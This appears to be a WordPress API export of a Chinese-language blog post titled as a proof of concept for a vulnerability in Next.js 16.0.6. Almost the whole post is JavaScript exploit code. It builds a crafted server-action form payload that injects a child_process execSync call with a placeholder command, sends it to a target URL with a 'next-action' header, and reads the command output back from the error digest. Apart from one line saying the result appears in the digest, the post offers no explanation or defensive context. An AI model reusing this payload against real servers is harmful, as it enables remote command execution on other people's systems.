{"id":45,"date":"2026-03-14T22:30:57","date_gmt":"2026-03-14T14:30:57","guid":{"rendered":"http:\/\/47.118.30.30\/?p=45"},"modified":"2026-03-15T11:40:55","modified_gmt":"2026-03-15T03:40:55","slug":"next-js-16-0-6%e7%89%88%e6%9c%ac%e6%bc%8f%e6%b4%9epoc","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/next-js-16-0-6%e7%89%88%e6%9c%ac%e6%bc%8f%e6%b4%9epoc\/","title":{"rendered":"Next.js 16.0.6\u7248\u672c\u6f0f\u6d1epoc"},"content":{"rendered":"<h1>Next.js 16.0.6\u7248\u672c\u6f0f\u6d1epoc<\/h1>\n<p>\u7ed3\u679c\u4f1a\u5728digest\u5c5e\u6027\u4e2d<\/p>\n<pre><code>const payload = {\n    0: \"$1\",\n    1: {\n        status: \"resolved_model\",\n        reason: 0,\n        _response: \"$4\",\n        value: '{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}',\n        then: \"$2:then\",\n    },\n    2: \"$@3\",\n    3: [],\n    4: {\n        _prefix:\n            \"var res = process.mainModule.require('child_process').execSync('\u3010\u5f85\u6267\u884c\u547d\u4ee4\u3011', {'timeout': 5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`});\/\/\",\n        _formData: {\n            get: \"$3:constructor:constructor\",\n        },\n        _chunks: \"$2:_response:_chunks\",\n    },\n};\n\nimport FormDataLib from \"form-data\";\n\nconst fd = new FormDataLib();\n\nfor (const key in payload) {\n    fd.append(key, JSON.stringify(payload[key]));\n}\n\nconsole.log(fd.getBuffer().toString());\n\nconsole.log(fd.getHeaders());\n\nfunction exploitNext(baseUrl) {\n    fetch(baseUrl, {\n        method: \"POST\",\n        headers: {\n            \"next-action\": \"x\",\n            ...fd.getHeaders(),\n        },\n        body: fd.getBuffer(),\n    })\n        .then((x) =&gt; {\n            console.log(\"fetched\", x);\n            return x.text();\n        })\n        .then((x) =&gt; {\n            console.log(\"got\", x);\n        });\n}\n\nexploitNext(\"\u3010\u73af\u5883\u5730\u5740\uff0c\u6bd4\u5982http:\/\/localhost:3000\/\u3011\");<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Next.js 16.0.6\u7248\u672c\u6f0f\u6d1epoc \u7ed3\u679c\u4f1a\u5728digest\u5c5e\u6027\u4e2d const payload = { 0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-45","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/45","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=45"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/45\/revisions"}],"predecessor-version":[{"id":60,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/45\/revisions\/60"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}